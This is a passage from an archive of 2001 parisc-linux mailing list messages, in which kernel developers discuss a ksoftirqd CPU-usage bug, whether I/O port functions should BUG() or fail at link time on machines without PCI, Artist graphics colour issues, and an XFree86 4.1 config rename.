The ESIEE guys will be around tomorrow and I can ask them about it.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.9-pa2?
Date: Tue, 21 Aug 2001 08:36:56 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20010821063716.E23D1482A@dsl2.external.hp.com>
References: <E15YmHu-0005lD-00@the-village.bc.nu> <20010820211823.D4D92482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620399 23951 80.91.229.3 (22 Nov 2014 01:39:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jso@europay.com (=?iso-8859-1?q?Jo=EBl?= Soete)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 21 00:37:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id E23D1482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Aug 2001 00:37:16 -0600 (MDT)
Original-Received: (qmail 16298 invoked by uid 0); 21 Aug 2001 06:37:14 -0000
Original-Received: from pd9040e3b.dip.t-dialin.net (HELO there) (217.4.14.59)
  by mail.gmx.net (mp009-rz3) with SMTP; 21 Aug 2001 06:37:14 -0000
X-Mailer: KMail [version 1.3.5]
In-Reply-To: <20010820211823.D4D92482A@dsl2.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11930

On Monday 20 August 2001 23:17, Helge Deller wrote:
> > > Is it nornal that process ksoftirq_CPU0 consume about 95% of cpu
> > > resources?
>
> Hi Jol,
>
> sorry, but I can't verify that with my 715/64, kernel -pa3 (same as -pa2
> with just a few minor and for this problem irrelevant changes in the
> harmony sound driver).
>
> pa64:~# uname -a
> Linux pa64 2.4.9-pa3 #6 Son Aug 19 20:16:30 CEST 2001 parisc unknown
>
> pa64:~# top
>
> 44 processes: 43 sleeping, 1 running, 0 zombie, 0 stopped
> CPU states:   2.3% user,   2.8% system,   0.0% nice,  94.9% idle
> PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND
>    3 root      19  19     0    0     0 SWN   0.0  0.0   0:00 ksoftirqd_CPU0
>
> Helge

Oops, I think you found a bug in the kernel. Don't know yet if it's only pa-risc specific
or a general linux-kernel issue.

c3000:~# uname -a
Linux c3000 2.4.9-pa3 #6 Son Aug 19 20:16:30 CEST 2001 parisc unknown

c3000:~# uptime
 08:36:15 up  9:28,  2 users,  load average: 1.00, 1.00, 1.00

c3000:~# top 
49 processes: 46 sleeping, 3 running, 0 zombie, 0 stopped
CPU states:   0.6% user,  99.4% system,   0.0% nice,   0.0% idle
  PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND
    3 root      20  19     0    0     0 RWN  99.2  0.0 445:09 ksoftirqd_CPU0

Greetings,
Helge




From - Thu Nov 08 21:18:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.9-pa2?
Date: Tue, 21 Aug 2001 07:46:24 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20010821074624.A12638@parcelfarce.linux.theplanet.co.uk>
References: <E15YmHu-0005lD-00@the-village.bc.nu> <20010820211823.D4D92482A@dsl2.external.hp.com> <20010821063716.E23D1482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620400 23952 80.91.229.3 (22 Nov 2014 01:40:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:00 +0000 (UTC)
Cc: =?iso-8859-1?Q?Jo=EBl_Soete?= <jso@europay.com>,
	parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 21 00:46:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DA1D482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Aug 2001 00:46:26 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15Z5Iu-00044S-00; Tue, 21 Aug 2001 07:46:24 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010821063716.E23D1482A@dsl2.external.hp.com>; from deller@gmx.de on Tue, Aug 21, 2001 at 08:36:56AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11931

On Tue, Aug 21, 2001 at 08:36:56AM +0200, Helge Deller wrote:
> Oops, I think you found a bug in the kernel. Don't know yet if it's
> only pa-risc specific or a general linux-kernel issue.

I think you're right.  Richard saw it on an A500 with 2.4.8 too.
I've seen a few scattered reports from people on other architectures
that they're seeing the same thing.

I went over the softirqd code this morning, and nothing jumped out at
me and said `this is something parisc is doing wrong'.  Maybe more eyes..

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iotree thoughts
Date: Tue, 21 Aug 2001 08:09:53 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <20010821080953.B12638@parcelfarce.linux.theplanet.co.uk>
References: <willy@debian.org> <200108210544.XAA20603@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620400 23957 80.91.229.3 (22 Nov 2014 01:40:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:00 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 21 01:09:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 14FF0482A
	for <parisc-linux@parisc-linux.org>; Tue, 21 Aug 2001 01:09:58 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15Z5fd-0004UR-00; Tue, 21 Aug 2001 08:09:53 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200108210544.XAA20603@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Mon, Aug 20, 2001 at 11:44:20PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11932

On Mon, Aug 20, 2001 at 11:44:20PM -0600, Grant Grundler wrote:
> That sounds too much like work. ;^)
> Raven PDC ERS is available from HP's firmware team website. (internal only).

Thanks, I'll look at that.

> I disagree. I want the kernel to NOT link if CONFIG_PCI and
> CONFIG_ISA are not enabled when inx/outx functions are used.

I discussed this with Ted Ts'o at OLS.  The difficulty is that there's
a fair bit of arch-independent code which does (example taken from serial.c):

static _INLINE_ unsigned int serial_in(struct async_struct *info, int offset)
{
        switch (info->io_type) {
        case SERIAL_IO_MEM:
                return readb((unsigned long) info->iomem_base +
                             (offset<<info->iomem_reg_shift));
        default:
                return inb(info->port + offset);
        }
}

so either we add the nasty:

        default:
#if defined(CONFIG_PCI) || defined(CONFIG_ISA)
                return inb(info->port + offset);
#else
                BUG();
#endif

or we just make inb() BUG().

> This will allow the kernel to link and then fail after rebooting.
> That seems like a step backwards to me.

Only if they're called.  The majority of places where these functions
exist can provably never be called.  The others probably won't be :-)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Xpert][parisc-linux] white is blue
Date: Tue, 21 Aug 2001 01:09:07 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <200108210709.BAA20985@puffin.external.hp.com>
References: <deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620400 23965 80.91.229.3 (22 Nov 2014 01:40:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:00 +0000 (UTC)
Cc: caslivkoff@yahoo.com, xpert@XFree86.Org,
	parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 21 01:11:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 618D8482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Aug 2001 01:11:11 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id BAA20985;
	Tue, 21 Aug 2001 01:09:07 -0600
In-Reply-To: Message from Helge Deller <deller@gmx.de> 
   of "Sat, 18 Aug 2001 21:46:46 +0200." <20010818194852.79AE7482A@dsl2.external.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11933

Helge Deller wrote:
> The 715/64 has the Artist graphics chip too, so I suspect we
> just need some more initialization for the "older revisions" of the Artist
> chip in the 712 machines.

It's possible the 715/64 firmware and 712 firmware behave differently.
ie artist chip initialization by firmware could be different.

I'm assuming stifb doesn't send a RESET command to the Artist chip directly
and start initializing from scratch.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Turn off CONFIG_PCI
Date: Tue, 21 Aug 2001 01:18:38 -0600
Lines: 21
Approved: news@gmane.org
Message-ID: <200108210718.BAA21014@puffin.external.hp.com>
References: <deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620401 23969 80.91.229.3 (22 Nov 2014 01:40:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:01 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 21 01:20:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id A6452482A
	for <parisc-linux@parisc-linux.org>; Tue, 21 Aug 2001 01:20:29 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id BAA21014;
	Tue, 21 Aug 2001 01:18:38 -0600
In-Reply-To: Message from Helge Deller <deller@gmx.de> 
   of "Sun, 19 Aug 2001 00:59:41 +0200." <20010818230140.3B894482A@dsl2.external.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11934

Helge Deller wrote:
> Machines with a PA8XXX CPU don't have any LASI/GSC devices and would _always_
> HPMC without PCI support.

Later K-class models have no PCI (except "card-mode Dino add-on cards)
and PA2.0 CPU's.

> So I still think it is better to panic() with a nice message 

Better to just not link if the kernel configuration permits a driver to get
included which needs inb/outb functions. We should be able to catch stuff
like this at link time.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iotree thoughts
Date: Tue, 21 Aug 2001 01:53:26 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <200108210753.BAA21158@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620401 24003 80.91.229.3 (22 Nov 2014 01:40:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:01 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 21 01:55:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id B558A482A
	for <parisc-linux@parisc-linux.org>; Tue, 21 Aug 2001 01:55:46 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id BAA21158;
	Tue, 21 Aug 2001 01:53:26 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Tue, 21 Aug 2001 08:09:53 BST." <20010821080953.B12638@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11935

Matthew Wilcox wrote:
> I discussed this with Ted Ts'o at OLS.  The difficulty is that there's
> a fair bit of arch-independent code which does (example taken from serial.c):
> 
> static _INLINE_ unsigned int serial_in(struct async_struct *info, int offset)
....
> so either we add the nasty:
> 
>         default:
> #if defined(CONFIG_PCI) || defined(CONFIG_ISA)
>                 return inb(info->port + offset);
> #else
>                 BUG();
> #endif

The ifdef is only once in that source file.

> or we just make inb() BUG().

The problem is serial.c is written for x86 arch and wasn't ported
cleanly for other arches. Makeing inb() BUG() allows sloppy
porting.


> Only if they're called.  The majority of places where these functions
> exist can provably never be called.  The others probably won't be :-)

I don't bet on "probably".

If the kernel is designed to not link when a dependency is not met,
I can find problems much faster when they arise. Having to build/reboot
to find porting/coding issues seems harder than it needs to be.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.9-pa2?
Date: Tue, 21 Aug 2001 15:12:01 +0200
Lines: 90
Approved: news@gmane.org
Message-ID: <OFB2DF2637.A5A7FCF6-ONC1256AAF.004781A8@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416620401 24009 80.91.229.3 (22 Nov 2014 01:40:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Helge Deller <deller" <deller%gmx.de%SMTP%EUROPAY@mastercard.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 21 07:09:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id BFD95482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Aug 2001 07:09:08 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d5582136be6@epirel991.europay.com> for <parisc-linux@lists.parisc-linux.org>;
 Tue, 21 Aug 2001 15:08:51 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 08/21/2001 03:12:03 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11936

Hi Helge,

Sorry to have not enough knowlegde to help the debuging.

Regarding IA box I do not yet have the opportunity to recompile a recent
kernel 2.4 but I will try asap.

Kind regards,
     Joel



                                                                           =
                                       =20
                    Helge Deller                                           =
                                       =20
                    <deller@gmx.d        To:     Jo=EBl Soete/BRU/MASTERCAR=
D@MASTERCARD                             =20
                    e>                   cc:     parisc-linux@lists.parisc-=
linux.org@SMTP@EUROPAY                 =20
                                         Subject:     Re: [parisc-linux] Ke=
rnel 2.4.9-pa2?                        =20
                    21-08-01                                               =
                                       =20
                    08:36 AM                                               =
                                       =20
                                                                           =
                                       =20
                                                                           =
                                       =20



On Monday 20 August 2001 23:17, Helge Deller wrote:
> > > Is it nornal that process ksoftirq_CPU0 consume about 95% of cpu
> > > resources?
>
> Hi Jo=EBl,
>
> sorry, but I can't verify that with my 715/64, kernel -pa3 (same as -pa2
> with just a few minor and for this problem irrelevant changes in the
> harmony sound driver).
>
> pa64:~# uname -a
> Linux pa64 2.4.9-pa3 #6 Son Aug 19 20:16:30 CEST 2001 parisc unknown
>
> pa64:~# top
>
> 44 processes: 43 sleeping, 1 running, 0 zombie, 0 stopped
> CPU states:   2.3% user,   2.8% system,   0.0% nice,  94.9% idle
> PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND
>    3 root      19  19     0    0     0 SWN   0.0  0.0   0:00
ksoftirqd_CPU0
>
> Helge

Oops, I think you found a bug in the kernel. Don't know yet if it's only
pa-risc specific
or a general linux-kernel issue.

c3000:~# uname -a
Linux c3000 2.4.9-pa3 #6 Son Aug 19 20:16:30 CEST 2001 parisc unknown

c3000:~# uptime
 08:36:15 up  9:28,  2 users,  load average: 1.00, 1.00, 1.00

c3000:~# top
49 processes: 46 sleeping, 3 running, 0 zombie, 0 stopped
CPU states:   0.6% user,  99.4% system,   0.0% nice,   0.0% idle
  PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND
    3 root      20  19     0    0     0 RWN  99.2  0.0 445:09
ksoftirqd_CPU0

Greetings,
Helge





**********************************************************************
This e-mail and any attachments to it may contain confidential information =
which is strictly intended for the use of the authorised recipient.  If you=
 have received this e-mail in error, please delete it and notify the sender=
 by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iotree thoughts
Date: Tue, 21 Aug 2001 15:12:42 +0100 (BST)
Lines: 8
Approved: news@gmane.org
Message-ID: <E15ZCGo-0007vc-00@the-village.bc.nu>
References: <20010821080953.B12638@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620402 24011 80.91.229.3 (22 Nov 2014 01:40:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:02 +0000 (UTC)
Cc: grundler@puffin.external.hp.com (Grant Grundler),
	willy@debian.org (Matthew Wilcox), parisc-linux@parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 21 08:10:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 838B8482A
	for <parisc-linux@parisc-linux.org>; Tue, 21 Aug 2001 08:10:57 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 15ZCGo-0007vc-00; Tue, 21 Aug 2001 15:12:42 +0100
In-Reply-To: <20010821080953.B12638@parcelfarce.linux.theplanet.co.uk> from "Matthew Wilcox" at Aug 21, 2001 08:09:53 AM
X-Mailer: ELM [version 2.5 PL5]
Xref: news.gmane.org gmane.linux.ports.parisc:11937

> or we just make inb() BUG().

Its probably more useful to make it print the port numher and traceback then
continue. That way any minor escapees will get back some cookie you pick
(eg 0xFF) and you can chase them out easily




From - Thu Nov 08 21:18:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFree86-4.1 note
Date: Tue, 21 Aug 2001 19:05:13 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <OF1968C0F4.94C45B85-ONC1256AAF.005C67DA@LocalDomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620402 24014 80.91.229.3 (22 Nov 2014 01:40:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:02 +0000 (UTC)
Cc: submit@bugs.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 21 11:02:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from epirel991.europay.com (mail.europay.com [193.75.200.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B426482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 21 Aug 2001 11:02:19 -0600 (MDT)
Original-Received: from mcnbru01 (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d5582e8e88d@epirel991.europay.com>;
 Tue, 21 Aug 2001 19:02:02 +0200
X-Mailer: Lotus Notes Release 5.0.7  March 21, 2001
X-MIMETrack: Serialize by Router on MCNBRU01/MASTERCARD(Release 5.0.6a |January 17, 2001) at
 08/21/2001 07:05:14 PM
Xref: news.gmane.org gmane.linux.ports.parisc:11938

Dear all,

After the upgrade of XFree86-4.0 to XFree86-4.1 on my 712/80 parisc box, X
would not more restart: did not find config file.
Which config file?
I just have to rename my XF86Config to XF86Config-4. Could it not be added
in the package configuration procedure?

Thanks for your attention,
     Joel

PS: I better understand "white pixel" appears "blue". This was not the case
with XFree86-4.0



**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************




From - Thu Nov 08 21:18:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iotree thoughts
Date: Tue, 21 Aug 2001 23:12:09 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <20010821211222.70853482A@dsl2.external.hp.com>
References: <200108210753.BAA21158@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620402 24019 80.91.229.3 (22 Nov 2014 01:40:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:02 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>,
	Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 21 15:12:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 70853482A
	for <parisc-linux@parisc-linux.org>; Tue, 21 Aug 2001 15:12:22 -0600 (MDT)
Original-Received: (qmail 18748 invoked by uid 0); 21 Aug 2001 21:12:20 -0000
Original-Received: from pd90403a0.dip.t-dialin.net (HELO there) (217.4.3.160)
  by mail.gmx.net (mp011-rz3) with SMTP; 21 Aug 2001 21:12:20 -0000
X-Mailer: KMail [version 1.3.5]
In-Reply-To: <200108210753.BAA21158@puffin.external.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11939

On Tuesday 21 August 2001 09:53, Grant Grundler wrote:
> Matthew Wilcox wrote:
> > Only if they're called.  The majority of places where these functions
> > exist can provably never be called.  The others probably won't be :-)
>
> I don't bet on "probably".
>
> If the kernel is designed to not link when a dependency is not met,
> I can find problems much faster when they arise. Having to build/reboot
> to find porting/coding issues seems harder than it needs to be.

Hi Grant & Matthew,

I still think Matthew's solution is a good idea. Why should the user be
bothered to compile in that PCI stuff if he won't need it at all ?
I tried Matthew's patch and it worked without problems on my 715/64 
and this is exactlly one of those machines for which the patch was 
designed. Those machines use LASI-style LAN, PS/2 or HIL Keyboard/Mice, 
STI(fb) and the harmony sound driver. Those are well-defined drivers which we
know that they work without PCI and which other drivers should we need ? 
GSC-cards ? They should work since I think they only have additional LASI's 
or somethink like that (You may correct me if I'm wrong.).
EISA-Cards ? We don't support any yet. Maybe in the future, but then the user
will also need to add PCI support anyway.
So I don't see any reason, why we shouldn't make it possible to link
a kernel without PCI support and call BUG() (and print out the port-number as 
Alan suggested) just in case we would miss one place.
Btw, I love a small kernel if I'm running it on such a slow machine which is often 
only equipped with 32-64 MB RAM.

Just my 0.02 cents,

Helge




From - Thu Nov 08 21:18:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iotree thoughts
Date: Wed, 22 Aug 2001 01:50:02 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <20010822015002.F21643@parcelfarce.linux.theplanet.co.uk>
References: <willy@debian.org> <200108210544.XAA20603@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620403 24023 80.91.229.3 (22 Nov 2014 01:40:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:03 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 21 18:50:06 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C532482A
	for <parisc-linux@parisc-linux.org>; Tue, 21 Aug 2001 18:50:05 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15ZMDa-0003zD-00; Wed, 22 Aug 2001 01:50:02 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200108210544.XAA20603@puffin.external.hp.com>; from grundler@puffin.external.hp.com on Mon, Aug 20, 2001 at 11:44:20PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11940

On Mon, Aug 20, 2001 at 11:44:20PM -0600, Grant Grundler wrote:
> Matthew Wilcox wrote:
> > On Thu, Aug 09, 2001 at 09:06:43AM -0600, Grant Grundler wrote:
> > > Yes. AFAIK, LASI sub-devices are listed by PDC. For Dino HPUX makes
